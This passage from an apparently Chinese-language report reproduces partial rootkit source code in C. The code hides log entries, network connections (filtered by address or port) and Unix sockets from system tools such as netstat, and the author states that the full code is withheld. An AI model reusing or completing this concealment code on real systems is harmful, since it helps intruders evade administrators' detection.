FILENAME[7]=ROOTKIT_HIDE_LOG[7];

FILENAME[8]=ROOTKIT_HIDE_LOG[8];

FILENAME[9]='\0';

h_tmp=(struct h_st *)malloc(sizeof(struct h_st));

hack_list=h_tmp;

if(fp_hack=fopen(FILENAME, "r")) {

while(fgets(tmp_str, 126, fp_hack)) {

h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));

strcpy(h_tmp->logstr, tmp_str);

h_tmp->logstr[strlen(h_tmp->logstr)-1]='\0';

h_tmp=h_tmp->next;

}

fclose(fp_hack);

}

h_tmp->next=NULL;

}

inline int check_log(char *msg, char *from)

{

for(h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)

if((strstr(msg, h_tmp->logstr))||(strstr(from, h_tmp->logstr)))

return(1);

return(0);

}

Page 27

26

﹙D﹚適用

netstat 之程式碼

#ifdef MAIN_DOT_C

inline addr_block_list()

{

char FILENAME[10];

FILENAME[0]=ROOTKIT_HIDE_HOSTS[0];

FILENAME[1]=ROOTKIT_HIDE_HOSTS[1];

FILENAME[2]=ROOTKIT_HIDE_HOSTS[2];

FILENAME[3]=ROOTKIT_HIDE_HOSTS[3];

FILENAME[4]=ROOTKIT_HIDE_HOSTS[4];

FILENAME[5]=ROOTKIT_HIDE_HOSTS[5];

FILENAME[6]=ROOTKIT_HIDE_HOSTS[6];

FILENAME[7]=ROOTKIT_HIDE_HOSTS[7];

FILENAME[8]=ROOTKIT_HIDE_HOSTS[8];

FILENAME[9]='\0';

h_tmp=(struct h_st *)malloc(sizeof(struct h_st));

hack_list=h_tmp;

if(fp_hack=fopen (FILENAME, "r")) {

while(fgets(tmp_str, 126, fp_hack)) {

h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));

strp=tmp_str;

strp=strtok(strp, SPC_CHAR);

h_tmp->hack_type=atoi(strp);

strp=strtok('\0', END_CHAR);

strcpy(h_tmp->hack_cmd, strp);

h_tmp=h_tmp->next;

}

fclose(fp_hack);

}

h_tmp->next=NULL;

}

#endif

#ifdef INET_DOT_C

Page 28

27

inline int check_inet(struct inpcb the_net)

{

int hide=0;

for(h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) {

switch(h_tmp->hack_type) {

case BY_LADDR:

if(strstr(inet_ntoa(the_net.inp_laddr),h_tmp->hack_cmd))

hide=1;

break;

case BY_RADDR:

if(strstr(inet_ntoa(the_net.inp_faddr),h_tmp->hack_cmd))

hide=1;

break;

case BY_LPORT:

if(the_net.inp_lport==atoi(h_tmp->hack_cmd))

hide=1;

break;

case BY_RPORT:

if(the_net.inp_fport==atoi(h_tmp->hack_cmd))

hide=1;

break;

}

}

return(hide);

}

#endif

#ifdef UNIX_DOT_C

inline int check_unix(char *path)

{

int hide=0; /* ira BEGIN */

for(h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) {

switch(h_tmp->hack_type) {

case BY_UNIX:

if(strstr(path, h_tmp->hack_cmd))

Page 29

28

hide=1;

break;

}

}

return(hide);

}

#endif

﹙E﹚上述程式碼之共同宣告

#define STR_SIZE 128

#define SPC_CHAR

" "

#define END_CHAR "\n"

struct h_st {

struct h_st

*next;

int

hack_type;

char

hack_cmd[STR_SIZE];

};

struct h_st

*hack_list;

struct h_st

*h_tmp;

char

tmp_str[STR_SIZE];

char

*strp;

FILE

*fp_hack;

﹙F﹚上述程式碼之說明

為了避免造成誤用,因此,不詳細的列出整個可以運作的程式碼,單就列出

竄改上述系統程式的關鍵核心程式碼。以上程式碼皆可以分為兩大部分:一為載

入過濾清單,一爲實行過濾的部分,也就是最重要的部分。

No comments: